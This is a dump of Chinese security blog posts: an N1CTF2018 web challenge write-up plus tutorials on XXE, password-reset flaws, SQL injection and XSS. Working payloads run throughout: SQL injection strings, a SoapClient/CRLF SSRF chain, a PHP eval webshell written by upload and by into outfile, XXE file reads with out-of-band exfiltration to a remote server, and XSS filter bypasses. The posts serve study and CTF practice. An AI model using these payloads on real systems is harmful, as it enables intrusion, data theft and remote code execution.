成功添加:","tags":[{"name":"Vulnerable","slug":"Vulnerable","permalink":"K4ngx.github.io/tags/Vulnerable/"}]},{"title":"N1CTF2018_Easyphp_WP","date":"2018-03-13T17:03:01.000Z","path":"2018/03/14/N1CTF2018-Easyphp-WP/","text":"划了两天水~ 题目叫做easy php,然而感觉并不easy啊:)。。解题步骤主要是源码审计,sql注入,ssrf,文件上传。。 看了下主要有注册,登录,发表签名和心情,删除签名的功能。 注册和登录页面需要提交验证码: substr(md5($input,0,5))==$captcha getmd5.py123456789101112import hashlib, itertools, stringdef brute(s): for i in range(1,6): for x in itertools.product(string.digits + string.ascii_lowercase, repeat=i): s1 = ''.join(x) if hashlib.md5(s1.encode('utf8')).hexdigest().startswith(s): print(s1) returnwhile(1): s = input() brute(s) 0x01. 通过加~获取到源码:index.php,user.php,config.php等,views/下有login等其他php文件源码。0x02. 通过phpinfo,得到session文件位于../../var/lib/php5/sess_xxxxxx,也可通过获取进程的文件描述符来获取../../proc/self/fd/240x03. 通过源码审计发现user.php中的publish函数处存在insert注入。 我们POST提交的signature和mood参数,未经过滤就传进了insert()函数,在insert函数中,先调用了get_column函数将数组元素用反引号包裹,并用逗号隔开:`signature`,`mood` 。(先在session中获取自己的用户id。 payload1signature=aa`,0x4f3a343a224d6f6f64223a333a7b733a343a226d6f6f64223b693a313b733a323a226970223b733a393a223132372e302e302e31223b733a343a2264617465223b693a313532303636393134353b7d),(116,0x6b6b74657374,(select group_concat(username,0x7e,password,0x7e,ip,0x7e,is_admin) from ctf_users where is_admin=1),0x4f3a343a224d6f6f64223a333a7b733a343a226d6f6f64223b693a313b733a323a226970223b733a393a223132372e302e302e31223b733a343a2264617465223b693a313532303636393134353b7d)#&mood=0 /user.php:publish()12345678910111213141516171819202122232425262728293031function publish(){ if(!$this->check_login()) return false; if($this->is_admin == 0) { if(isset($_POST['signature']) && isset($_POST['mood'])) { $mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip()))); $db = new Db(); @$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood)); if($ret) return true; else return false; } } else { if(isset($_FILES['pic'])) { if (upload($_FILES['pic'])){ echo 'upload ok!'; return true; } else { echo \"upload file error\"; return false; } } else return false; }} config.php:insert()12345678910public function insert($columns,$table,$values){ $column = $this->get_column($columns); $value = '('.preg_replace('/`([^`,]+)`/','\\'${1}\\'',$this->get_column($values)).')'; $nid = $sql = 'insert into '.$table.'('.$column.') values '.$value; $result = $this->conn->query($sql); return $result;} config.php:get_column()123456789private function get_column($columns){ if(is_array($columns)) $column = ' `'.implode('`,`',$columns).'` '; else $column = ' `'.$columns.'` '; return $column;} 0x04. 访问index.php?action=index,得到admin帐号密码为admin:nu1ladmin。然而admin的登录要求为ip为127.0.0.10x05. **源码审计发现Mood类在user.php中的showmess函数中会反序列化并调用,又发现phpinfo中SoapClient开启。搜索一波后,发现可以通过反序列化构建SoapClient对象,构造POST包让服务端请求login页面,造成SSRF。 12345678<?php $a = new SoapClient(null, array('uri' => '123','location' => 'http://127.0.0.1/index.php?action=login'));echo serialize($a);?>//We gotO:10:\"SoapClient\":3:{s:3:\"uri\";s:3:\"123\";s:8:\"location\";s:39:\"http://127.0.0.1/index.php?action=login\";s:13:\"_soap_version\";i:1;} 在CRLF注入的基础上,我们可以得到: 1234567891011121314151617<?php $a = unserialize('O:10:\"SoapClient\":3:{s:3:\"uri\";s:281:\"http://www.ubuntu.com/Content-Length: 0POST /index.php?action=login HTTP/1.1Host: 127.0.0.1Content-Length: 43Content-Type: application/x-www-form-urlencodedCookie: PHPSESSID=au4k8id9v05kln2mic004i58q3username=admin&password=nu1ladmin&code=db0ePOST /whatever\";s:8:\"location\";s:39:\"http://127.0.0.1/index.php?action=login\";s:13:\"_soap_version\";i:1;}');echo $a->cc();?> 运行nc -lvvp 80来监听80端口。 12345678910111213141516171819202122232425262728293031323334POST /index.php?action=login HTTP/1.1Host: 127.0.0.1Connection: Keep-AliveUser-Agent: PHP-SOAP/5.3.29Content-Type: text/xml; charset=utf-8SOAPAction: \"http://www.ubuntu.com/Content-Length: 0POST /index.php?action=login HTTP/1.1Host: 127.0.0.1Content-Length: 43Content-Type: application/x-www-form-urlencodedCookie: PHPSESSID=au4k8id9v05kln2mic004i58q3username=admin&password=nu1ladmin&code=db0ePOST /whatever#cc\"Content-Length: 643<?xml version=\"1.0\" encoding=\"UTF-8\"?><SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:ns1=\"http://www.ubuntu.com/Content-Length: 0POST /index.php?action=login HTTP/1.1Host: 127.0.0.1Content-Length: 43Content-Type: application/x-www-form-urlencodedCookie: PHPSESSID=au4k8id9v05kln2mic004i58q3username=admin&password=nu1ladmin&code=db0ePOST /whatever\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><SOAP-ENV:Body><ns1:cc/></SOAP-ENV:Body></SOAP-ENV:Envelope> Apache收到后将识别为三个POST包: 因此,我们可先获取一个新的session,作为admin账户的session,并获取其验证码,生成payload: genPayload.php1234567891011121314151617181920<?php $a = bin2hex('O:10:\"SoapClient\":3:{s:3:\"uri\";s:281:\"http://www.ubuntu.com/Content-Length: 0POST /index.php?action=login HTTP/1.1Host: 127.0.0.1Content-Length: 43Content-Type: application/x-www-form-urlencodedCookie: PHPSESSID=au4k8id9v05kln2mic004i58q3username=admin&password=nu1ladmin&code=db0ePOST /whatever\";s:8:\"location\";s:39:\"http://127.0.0.1/index.php?action=login\";s:13:\"_soap_version\";i:1;}');echo $a;?>//We got//4f3a31303a22536f6170436c69656e74223a333a7b733a333a22757269223b733a3238313a22687474703a2f2f7777772e7562756e74752e636f6d2f0d0a436f6e74656e742d4c656e6774683a20300d0a0d0a0d0a504f5354202f696e6465782e7068703f616374696f6e3d6c6f67696e20485454502f312e310d0a486f73743a203132372e302e302e310d0a436f6e74656e742d4c656e6774683a2034330d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6f6b69653a205048505345535349443d6175346b386964397630356b6c6e326d696330303469353871330d0a0d0a757365726e616d653d61646d696e2670617373776f72643d6e75316c61646d696e26636f64653d646230650d0a504f5354202f77686174657665720d0a223b733a383a226c6f636174696f6e223b733a33393a22687474703a2f2f3132372e302e302e312f696e6465782e7068703f616374696f6e3d6c6f67696e223b733a31333a225f736f61705f76657273696f6e223b693a313b7d 得到我们的payload,通过已登录的用户X在publish页面中POST。 1signature=aa`,0x4f3a31303a22536f6170436c69656e74223a333a7b733a333a22757269223b733a3238313a22687474703a2f2f7777772e7562756e74752e636f6d2f0d0a436f6e74656e742d4c656e6774683a20300d0a0d0a0d0a504f5354202f696e6465782e7068703f616374696f6e3d6c6f67696e20485454502f312e310d0a486f73743a203132372e302e302e310d0a436f6e74656e742d4c656e6774683a2034330d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6f6b69653a205048505345535349443d6175346b386964397630356b6c6e326d696330303469353871330d0a0d0a757365726e616d653d61646d696e2670617373776f72643d6e75316c61646d696e26636f64653d646230650d0a504f5354202f77686174657665720d0a223b733a383a226c6f636174696f6e223b733a33393a22687474703a2f2f3132372e302e302e312f696e6465782e7068703f616374696f6e3d6c6f67696e223b733a31333a225f736f61705f76657273696f6e223b693a313b7d)#&mood=0 此时访问用户X的index.php?action=index页面。返回状态码500,反序列化成功。 0x06. 以admin的session登录,通过源码发现在publish函数处可upload图片文件 config.php:upload()123456789101112131415161718192021222324252627282930313233function upload($file){ $file_size = $file['size']; if($file_size>2*1024*1024) { echo \"pic is too big!\"; return false; } $file_type = $file['type']; if($file_type!=\"image/jpeg\" && $file_type!='image/pjpeg') { echo \"file type invalid\"; return false; } if(is_uploaded_file($file['tmp_name'])) { $uploaded_file = $file['tmp_name']; $user_path = \"/app/adminpic\"; if (!file_exists($user_path)) { mkdir($user_path); } $file_true_name = str_replace('.','',pathinfo($file['name'])['filename']); $file_true_name = str_replace('/','',$file_true_name); $file_true_name = str_replace('\\\\','',$file_true_name); $file_true_name = $file_true_name.time().rand(1,100).'.jpg'; $move_to_file = $user_path.\"/\".$file_true_name; if(move_uploaded_file($uploaded_file,$move_to_file)) { if(stripos(file_get_contents($move_to_file),'<?php')>=0) system('sh /home/nu1lctf/clean_danger.sh'); return $file_true_name; } else return false; } else return false;} upload函数将文件名改为filename.time().rand(1,100).'jpg',然后保存在了/app/adminpic/下,同时对文件内容的进行了检测,若存在<?php,则执行clean_danger.sh。 clean_danger.sh12cd /app/adminpic/rm *.jpg 在phpinfo中,我们可以看到,short_open_tag = Off,但是依然可以使用<?=来执行php代码。 0x07. 上传一个crxxx.jpg crxxx.jpg1<?=file_put_contents(\"/var/www/html/kkzxc123.php\",base64_decode(\"PD9waHAgQGV2YWwoJF9QT1NUW2tleV0pOz8+\")); 从服务端返回的时间,转化成Unix时间戳,然后对rand(1,100)进行爆破。即可得到真实文件名。通过index.php?action=xxxx.jpg包含,就生成了/var/www/html/kkzxc123.php。 0x08. 菜刀连接,根据run.sh中数据库密码,可在数据库中拿到flag。 对于另外一题funning eating cms,主要是考察parse_url()存在解析的漏洞,遇到:时,会直接返回false。","tags":[{"name":"writeup","slug":"writeup","permalink":"K4ngx.github.io/tags/writeup/"}]},{"title":"浅谈XXE漏洞","date":"2018-03-03T18:11:35.000Z","path":"2018/03/04/xxe/","text":"XXE(XML External Entity Injection),即XML外部实体注入。漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载。 XML与DTD的关系DTD(Document Type Definition)文档类型定义,一种XML约束模式语言,属于XML文件组成的一部分。 123456789101112131415<!--文档声明--><?xml version=\"1.0\" encoding=\"UTF-8\"?><!--DTD--><!DOCTYPE poem [ <!--定义此文档是 poem 类型的文档--><!ELEMENT poem (author, title, content)> <!--定义poem元素有三个子元素--><!ELEMENT author (#PCDATA)> <!--定义author元素为“#PCDATA”类型--><!ELEMENT title (#PCDATA)> <!--定义title元素为“#PCDATA”类型--><!ELEMENT content (#PCDATA)> <!--定义content元素为“#PCDATA”类型-->]><note><to>Dave</to><from>Tom</from><head>Hello</head><body>Hello world!</body></note> DTD文档有三种应用形式。 内部DTD文档: 1<!DOCTYPE 根元素 [定义内容]> 外部DTD文档: 1<!DOCTYPE 根元素 SYSTEM \"DTD文件路径\"> 内外部DTD文档结合: 1<!DOCTYPE 根元素 SYSTEM \"DTD文件路径\" [定义内容]> XXE漏洞原理——XML实体实体主要分为四种: 内置实体 (Built-in entities) 字符实体 (Character entities) 通用实体 (General entities) 参数实体 (Parameter entities) 注: 完整实体类别可参考 DTD - Entities 其实,XML可分为普通实体和参数实体。 而根据实体声明方式的不同,还分为内部实体和外部实体,XXE利用的是外部实体。 普通实体引入外部实体1234567<?xml version=\"1.0\" encodinf=\"UTF-8\"?><!DOCTYPE poem [ <!ENTITY xxe SYSTEM \"file:///etc/passwd\"> <!--可为file、http、ftp 等等协议-->]><poem> &xxe;</poem> 参数实体引入外部实体12345678910<?xml version=\"1.0\" encodinf=\"UTF-8\"?><!DOCTYPE poem [ <!ENTITY % a SYSTEM \"http://www.test.com/outdtd.dtd\"> <!--可为file、http、ftp 等等协议--> %a; <!--执行outdtd.dtd的内容-->]><poem>&xxe;</poem><!--outdtd.dtd内容--><!ELEMENT xxe SYSTEM \"file:///etc/passwd\"> 注:外部资源的URI主要支持file、http、https、ftp等协议,对不同的程序所支持的协议不同。 XXE漏洞类型与危害I.任意文件读取通过外部实体引用,实现任意文件读取。 II.URL请求,SSRF 端口扫描,探测内网服务 内网攻击get型payload,如st2命令执行、discuz ssrf通过redis实施getshell;指纹识别等等 DoS拒绝服务:通过实体的递归调用,占用大量服务器资源。 III.远程代码执行在php开启expect扩展的前提下 123456<!DOCTYPE root [ <!ENTITY cmd SYSTEM \"expect://id\">]><dir> <file>&cmd;</file></dir> XXE漏洞本地测试任意文件读取构造index.html、func.php和test.txt。index.html构造表单,并转换成XML字符串,发送到func.php转化成XML对象,并输出数据。 /index.html12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849<html><head> <title>xxe test</title> <script src=\"http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.8.0.js\"></script></head><body> <form id=\"welcome\" name=\"information\"> <span>Username:</span><input type=\"text\" name=\"username\"><br/> <span>E-mail:</span><input type=\"text\" name=\"email\"><br/> <button id=\"post\">提交</button> </form> <script> function form2XML(obj){ let iForm = document.getElementById(obj); let tmp = ''; //获取所有type为'text'的input let aInput = Array.from(iForm.getElementsByTagName('input')).filter(x => x.type === 'text'); for(v of aInput){ let tagName = tagValue = ''; tagName = v.name; tagValue = v.value; let tTag = `<${tagName}>${tagValue}</${tagName}>`; tmp += tTag; } let outXML = '<' + iForm.name + '>' + tmp + '</' + iForm.name + '>'; return outXML; } //发送XML请求 const post_btn = document.getElementById('post'); post_btn.onclick = function(){ $.ajax({ url: \"./func.php\", data: form2XML('welcome'), type: 'POST', contentType: \"text\", success: function(data){ document.write(data); }, error: function(xhr, ajaxOptions, thrownError){ console.log(xhr.status); console.log(thrownError); } }); return false; } </script></body></html> /func.php123456789<?php //开启解析XML外部实体功能 //libxml_disable_entity_loader(false); $xml = file_get_contents(\"php://input\"); @$res = simplexml_load_string($xml); echo \"name : \" . $res->username . \"\\n\"; echo \"email : \" . $res->email;?> 输入数据点击提交,利用burpsuite进行抓包: 修改XML数据,发包,可读取到test.txt的数据: 利用参数实体取得间接回显对于传统的XXE来说,要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据。 客户端发送payload1给Web服务器 Web服务器向VPS获取恶意DTD,并执行文件读取payload2 Web服务器带着回显结果访问VPS上特定FTP或者HTTP 黑客通过VPS获得回显 服务器中构造index.php、xxe.xml和flag.txt。VPS中构造evil.xml、recv.php和data.txt。其中flag.txt为要读取的数据,然后存入data.txt中。 /index.php1234567<?php $testXML = file_get_contents(\"xxe.xml\"); //libxml_disable_entity_loader(false); $xml = simplexml_load_string($testXML); echo \"<pre>\"; print_r($xml);?> /xxe.xml1234567<?xml version=\"1.0\" encoding=\"utf-8\"?><!DOCTYPE root [ <!ENTITY % file SYSTEM \"php://filter/read=convert.base64-encode/resource=flag.txt\"> <!ENTITY % evildtd SYSTEM \"http://www.ubuntu.com/evil.xml\"> %evildtd;]><root></root> /evil.xml123<!ENTITY % send \"<!ENTITY &#37; data SYSTEM 'http://www.ubuntu.com/recv.php?file=%file;'>\">%send;%data; /recv.php123<?php file_put_contents(\"test.txt\", base64_decode($_GET['file'])); ?> 访问服务器的index.php,服务器将去请求VPS上的evil.xml并执行,带上flag.txt经过base64加密后的内容去请求VPS上的recv.php,于是将base64解码后的数据存入了data.txt。完成间接回显。 注:若flag.txt的读取不采用php://filter,则当文件内容包含空格换行等,将导致recv.php请求失败。 XXE的防御 禁用外部实体 过滤和验证用户提交的XML数据 不允许XML中含有任何自己声明的DTD 禁止外来引入,如在php中可设置libxml_disable_entity_loader(true) 参考传送门 https://www.ichunqiu.com/open/58939?from=hd https://thief.one/2017/06/20/1/ https://mp.weixin.qq.com/s/ek2I9tshyTG0HvTAHMmdsQ","tags":[{"name":"Web","slug":"Web","permalink":"K4ngx.github.io/tags/Web/"},{"name":"XXE","slug":"XXE","permalink":"K4ngx.github.io/tags/XXE/"}]},{"title":"十类任意密码重置","date":"2018-02-17T07:42:17.000Z","path":"2018/02/17/pwReset/","text":"补天大佬carry_your之前讲解了一个视频,关于任意密码重置的十种姿势。顿时醍醐灌顶,深有感触。放上视频链接https://www.ichunqiu.com/course/59045 0x01 验证码不失效(存在暴力破解可能性)0x02 验证码直接显示在response中0x03 验证码未绑定用户在发送手机号和验证码时,仅对验证码是否正确进行了判断。未对该验证码是否与手机号匹配进行验证。(即在提交手机号和验证码时可更换成他人手机号通过验证。) 0x04 修改接收的手机或邮箱未对用户名,手机号和验证码三者做统一的验证,仅判断了手机号和验证码是否匹配和正确。 0x05 本地验证的绕过(修改返回包)随意输入验证码,从返回包中将标志值false改为true,从而使客户端误以为验证成功,绕过验证步骤进入密码重置界面。 解决方法:在重置密码处在服务端进行二次验证;在验证中加入token;在session中加入状态值。 0x06 跳过验证步骤对于验证步骤没有做校验,导致可以直接输入最终重置密码的网址达到重置密码的目的。 0x07 未检验用户字段值在设置新密码步骤时,缺少对操作用户的身份判断,导致可通过修改数据包内的用户身份来修改他人的密码。 0x08 修改密码处id可替换类似与上一种。在修改用户密码时,通过id字段来修改用户密码,执行了类似update user set password='qwe123456' where id='1'的sql语句。 0x09 cookie值可替换在重置密码的最后一步仅判断了唯一用户标志cookie是否存在,未判断该cookie是否有通过之前的验证流程。导致可以通过替换cookie来修改他人密码。(目标用户cookie可通过第一阶段来获取) 0x0A 修改信息时替换隐藏参数(精)在执行修改个人信息的sql语句的时候,用户的密码也当作字段执行了,且根据隐藏参数loginId来执行。只要在修改信息的POST数据包中添加或替换成他人的loginId和对应的值,即可修改他人密码。(参数名一般可在页面中找到)","tags":[{"name":"Web","slug":"Web","permalink":"K4ngx.github.io/tags/Web/"}]},{"title":"浅谈SQLi","date":"2018-02-06T09:51:43.000Z","path":"2018/02/06/SQLi/","text":"(MySQL为例) (参考 MySQL注入天书 made by lcamry) 注入点:GET参数、POST参数、Cookie、HTTP头(包括但不限于User-agent、Referer、X-Forwarded-For)。 0x01 注入类型 联合查询 盲注 布尔盲注 时间盲注 报错注入 宽字节注入 堆叠注入 0x02 MySQL常用函数字符串连接 concat(str1, str2, str3...) concat函数连接一个或者多个字符串,若其中一个为null,则返回null. concat_ws(separator,str1,str2,…) CONCAT_WS() 代表 CONCAT With Separator ,是CONCAT()的特殊形式。第一个参数是其它参数的分隔符。分隔符可以是一个字符串,也可以是其它参数。若分隔符为 NULL,则结果为 NULL。函数会忽略任何 str 参数中的 NULL 值。 group_concat([DISTINCT] 字段名 [Order BY 某字段 ASC/DESC] [Separator '分隔符']) 将某个字段的值连接起来,默认’,’为分隔符,可与group by一起使用。 字符串截取 mid(column_name, start [,length]) start起始为1;length若省略则返回剩余文本。mid函数仅MySQL支持。 substring、substr与mid用法相同 left(string, n) 指定左部截取n个字符。right()为右部截取n个字符,参数同left。 ascii()返回的字符的ascii码值。ord()相比还适用于多字节字符。 regexp查找flag开头的字符串:select flag from flag where flag regexp '^flag' locate/position返回子串 substr 在字符串 str 中的第 pos 位置后第一次出现的位置。如果 substr 不在 str 中返回 0 LOCATE(substr,str,pos) 有任一参数是一个二进制字符串,它才是字母大小写敏感的。 123select LOCATE('A', 0x4261); -- 返回0select LOCATE('a', 0x4261); -- 返回2select LOCATE(0x61, 'Ba'); -- 返回2 0x03 sql注入类型a.常用查询12345select database();select group_concat(schema_name) from information_schema.schemata;select table_name from information_schema.tables where table_schema='ctf20xx';select COLUMN_NAME from INFORMATION_SCHEMA.Columns where table_schema='ctf20xx' and table_name='flag';select * from mysql.user; b.联合查询通过闭合语句引号或括号,使用union来查询所需内容。需要相同字段。可用select 1,2,3或order by 3来测试字段数。 c.布尔盲注 2*1e308大法:-1'and(select(select(flag)from(flag))like binary 0x4625)*2*1e308# substr和ascii:ascii(substr((select database()),1,1))=98# if盲注:aaa' and if((select flag from flag where flag like binary 0x4625),1,0)# d.时间盲注 sleep(second):if(ascii(substr(database(),1,1))>115,0,sleep(5))%23 benchmark(count, expr):UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM (select database() as current) as tb1; e.报错注入 2*1e308报错:aa'and(select(1E308*if((select*from(select(flag)from(flag)limit 1)x),2,2)))# updatexml报错(限制32字符):-1'and(updatexml(1,concat(0x7e,(select(substr(flag,10))from(flag))),1))# extractvalue报错(限制32字符):-1')and(extractvalue(1,concat(0x5c,(select(flag)from(flag)))))%23 以下技巧高版本未成功: exp报错:-1'and(exp(~(select*from(select(flag)from(flag))a)))# geometrycollection报错:-1'and(geometrycollection((select*from(select*from(select(flag)from(flag))a)b)))# polygon报错:-1'and(polygon((select*from(select*from(select(flag)from(flag))a)b)))# multipolygon报错:-1'and(multipolygon((select*from(select*from(select(flag)from(flag))a)b)))# multipoint报错:-1'and(multipoint((select*from(select*from(select(flag)from(flag))a)b)))# multilinestring报错:-1'and(multilinestring((select*from(select*from(select(flag)from(flag))a)b)))# linestring报错:-1'and linestring((select * from (select * from (select user())a)b)) 以下技巧高版本中未测试: bigint超出范围:select !(select * from (select user())x) - ~0 mysql重复特性:select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x; 计数重复报错/bug?:select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2)) 上一条技巧的懵逼形式:select count(*) from (select 1 union select null union select !1)x group by concat((select flag from flag limit 1),floor(rand(0)*2)) f.导入导出操作 load_file导出文件: 1select 1,2,load_file('/etc/passwd'); into outfile写入文件: 1select \"<?php eval($_GET['key']);\" into outfile '/var/www/html/evil.php'; into outfile 后可跟lines terminated by 0x...(参考sqlmap os-shell)。以16进制内容结尾,而不是'\\r\\n': 1select * from * limit 0,1 into outfile '/var/www/html/evil.php' lines terminated by 0x.....; into dumpfile写入二进制。into outfile写入文本文件。 g.宽字节注入当MySQL使用宽字节编码时,会产生宽字节注入。若character_set_client=gbk时。输入%aa'对单引号转义后变成%aa%5c%27,其中aa5c被mysql当成一个字符,导致单引号逃逸。可通过Mysql_query("SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary",$conn);来防御宽字节注入。 (1) character_set_client:客户端发送过来的SQL语句编码,也就是PHP发送的SQL查询语句编码字符集。 (2) character_set_connection:MySQL服务器接收客户端SQL查询语句后,在实施真正查询之前SQL查询语句编码字符集。 (3) character_set_results:SQL语句执行结果编码字符集。 mysql_real_escape_string和iconv()注入:参考 MySQL宽字节注入 by BlBana和宽字节注入 by lyiang。 h.堆叠注入用分号结束一条语句的执行,构造执行下一条任意语句。有其局限性。当采用mysql_query()执行sql语句时,多条sql语句将会报错,可使用mysqli::multi_query()。 例:sqlserver 中最为重要的存储过程的执行: 1select * from test where id=1;exec master..xp_cmdshell 'ipconfig' 注:oracle不支持多条语句执行 i. order by后的注入布尔盲注或延时注入: ?sort=(select ...) ?sort=rand(语句)。如rand(true/false)返回值不同,可利用rand盲注。 报错注入: ?sort=1'and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+ procedure analyze()来执行报错注入。 导出文件: into outfile '路径'参数来导出结果。或使用lines terminated by 0x...来导出网马。 0x04 DNSLOG带外数据传输 参考dnslog在SQL注入中的实战利用DNSLOG获取看不到的信息(给盲注带上眼镜) 利用VPS或者 http://ceye.io/records/dns 提供的 DNS Query 来获取dnslog中的数据。 Windows环境下,在MySql中可通过 load_file() 来发送 dns 查询。 1SELECT load_file(concat('\\\\\\\\',(select @@version),'.your_code.ceye.io\\\\abc')); 注:MySql有个新特性 secure_file_priv 默认为 NULL ,若要启用 load_file 和 into outfile 等,需在 my.ini 中修改或增加这一特性的值。 0x05 Tricksa. concat过滤下使用updatexml报错注入当concat函数被过滤且需要使用updatexml来报错注入时,可找类似函数,如lpad()、reverse()、repeat()、export_set()。(lpad()、reverse()、repeat() 这三个函数使用的前提是所查询的值中,必须至少含有一个特殊字符,否则会漏掉一些数据)。 b. linestring()爆当前表名通过polygon()和linestring()可爆出当前表名。还有multipoint、multilinestring、multipolygon: 12select * from user where proid=1 and polygon(proid);select * from user where proid=1 and linestring(proid); c. 通过join + using的方法来获取字段名:1select * from (select * from user as A join user as B using(pro_id)) as C; d. 通过联合查询,运用虚拟表在不出现字段名的情况下查出内容1select * from user where proid=-1 union select 1,a.1,3 from (select 1,2,3 from dual union select * from user)a; e. 逗号过滤bypass通过使用 from .. for .. 和 offset 来进行bypass 123456789-- substr/midselect substr(database() from 1 for 1);select mid(database() from 1 for 1);-- select 1,2union select * from (select 1)a join (select 2)b-- limit 0,1select * from news limit 1 offset 0 0x06 sqlmap常用指令与参数 -u:后跟漏洞网站URL -r:从POST数据包中注入,后跟文件路径,注入点用*替换 -p:指定测试参数 --dbms:指定数据库系统类型 --technique=TECH:指定使用的注入方式 (default “BEUSTQ”) --dbs --tables --columns:枚举所有数据库、表、字段名 -D -T -C:指定数据库、表、字段名称 --dump:导出结果 --level=LEVEL:指定注入测试的等级 (2级可检测cookie)(1-5, default 1) --risk=RISK:风险等级(1-3, default 1) --prefix="xxx":前缀 --suffix="xxx":后缀 --cookie="xxx":指定cookie --threads=10:在盲注时指定线程数 --os-shell:系统交互 shell --sql-shell:SQL 交互 shell --users:枚举数据库用户 --passwords:枚举数据库用户密码哈希值 --string,--not-string,--regexp,--code:提供字符串或者一段正则,在原始页面与真条件下的页面都存在的字符串,而错误页面中不存在(使用–string参数添加字符串,–regexp添加正则);在原始页面与真条件下的页面都不存在的字符串,而错误页面中存在的字符串(–not-string添加)。也可提供真与假条件返回的HTTP状态码不一样来注入。如,响应200的时候为真,响应401的时候为假,即--code=200。 0x07 tamper的使用sqlmap很蠢。通常在网站对输入有某些过滤的情况下,你需要用tamper调教一下,再使用。(可以自己编写) --tamper=symboliclogical:对or和and进行了过滤,可以使用||和&&的情况。 --tamper=unmagicquotes:宽字节注入","tags":[{"name":"sql","slug":"sql","permalink":"K4ngx.github.io/tags/sql/"},{"name":"Web","slug":"Web","permalink":"K4ngx.github.io/tags/Web/"}]},{"title":"浅谈XSS","date":"2018-01-04T12:23:13.000Z","path":"2018/01/04/xss/","text":"0x01 XSS常见输出点 HTML标签之间 HTML标签之内 成为JavaScript代码的值(类似后文中输出在on*事件) 闭合引号 宽字节环境可采用宽字节注入或者</script>闭合(高优先级) 成为CSS代码的值(类似后文中输出在style属性内) HTML标签之间1<div id=\"body\">[输出]</div> 注: 有些标签无法执行脚本,如<title>、<textarea>等 HTML标签之内 <input type="text" value="[输出]" /> 闭合属性,payload: " onmouseover="alert(1);" x=" 闭合标签,payload: "><script>alert(1);</script> 输出在src/href/action等属性内 javascript:伪协议,如javascript:alert(1)//,若/被过滤,可用JS逻辑与算数表达式代替,如alert(1)- data:伪协议(仅IE不支持) 伪协议不区分大小写 输出在on*事件内 具体判断输出作为on*事件的值或某个函数的参数值出现。 输出在style属性内 对IE,注入expression关键字并适当闭合 0x02 HTML和JavaScript自解码 输出的上下文环境为HTML时,可进行HTML形式的编码 进制编码:&#xH;、&#D; HTML实体编码:&lt;等 输出的上下文环境为JavaScript时,可进行JavaScript编码 Unicode形式:\\uH 十六进制:\\xH 转义:\\'、\\"等 编码可参考 XSS字符编码与浏览器解析原理 0x03 具备HtmlEncode功能的标签 <textarea>、<title>、<iframe>、<noscript>、<noframes>等具有HtmlEncode编码功能 <xmp>没有编码功能 <plaintext>在浏览器中存在差异 0x04 浏览器URL编码差异造成的XSS 对’”`<>的编码差异 对location.hash值的编码差异 0x05 HTML中的代码注入技巧标签 标签大小写不敏感 根据浏览器对XHTML的支持插入XML代码、SVG代码或未知标签 如在IE6可构造 <XSS STYLE="xss:expression(alert('xss'))"> 标签的优先级绕过过滤器 如<textarea>、<title>、<style>、<script>、<xmp>和注释<!-- -->或<!-- --!>具有高优先级。 对下面的代码,过滤器可能会认为"--><img src=x onerror=alert(1)//"是属性href的值。 1<!-- <a href=\"--><img src=x onerror=alert(1)//\">test</a> 如<! foo="><script></script>"> IE HTML 条件控制语句 如 <!--[if IE 6]>only IE6..test..<![endif]--> 如 <!--[if <img src=x onerror=alert(2)//]> --> <svg>标签下的<script>或其他CDATA元素会先进行XML解析,因此,可进行HTML实体编码或进制编码。 1<svg><script>&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script> 属性 属性大小写不敏感 IE中属性可用反引号包括 标签与属性、属性名与等号、等号与属性值之间可插入空格、换行符、回车符或Tab等。 在属性值的头部和尾部(引号内)插入控制字符(ASCII值1~32),如: 1<a &#8 href=\"&#32javascript:alert(1)\">test</a> 黑膜法:<input type="image" 0x06 CSS中代码注入技巧(大部分仅在IE低版本可用) 大小写不敏感 属性值对单双引号不敏感 资源类属性的URL部分对单双引号或无引号不敏感 空格可用tab、回车和换行符替代被浏览器解析 资源类属性中通过伪协议完成XSS利用,如: 1body{background-image:url('jAvasCRipT:alert(1)');} behavior引入一段含JS的代码片段,不能跨域。(IE) @import引入一段CSS代码 可在任意地方插入'\\'以及'\\'+0的组合(IE7及以下),如: 1@\\iMp\\00or\\0T \"url\"; IE8开始'\\'+0不可用,'\\'仍然可用。 expression(IE7及以下版本) 用注释混淆: 1body{xs/*zzz*/s:ex/**/press/**/ion((window.x==1)?'':eval('x=1;alert(2);'));} 在IE6下,可用全角字符混淆: 1body{xss:expression((window.x==1)?'':eval('x=1;alert(2);'));} 16进制编码: body{\\078\\073\\073:\\065\\078\\070\\072\\065\\073\\073\\069\\06f\\06e((window.x==1)?'':eval('x=1;alert(2);'));} utf-7编码: 1234@charset \"utf-7\";body{ aaa:e+AHgAcABy-e+AHMAcw-i+AG8-n+ACg-if+ACgAdw-ind+AG8AdwAuAHgAIQA9ADEAKQB7AGEAbA-e+AHIAdAAoADEAKQA7AHc-ind+AG8AdwAuAHgAPQAxADsAfQApADs-}","tags":[{"name":"Web","slug":"Web","permalink":"K4ngx.github.io/tags/Web/"},{"name":"xss","slug":"xss","permalink":"K4ngx.github.io/tags/xss/"}]},{"title":"Ubuntu16.04搭建lnmp环境","date":"2018-01-01T17:26:43.000Z","path":"2018/01/02/lnmp/","text":"一劳永逸…… 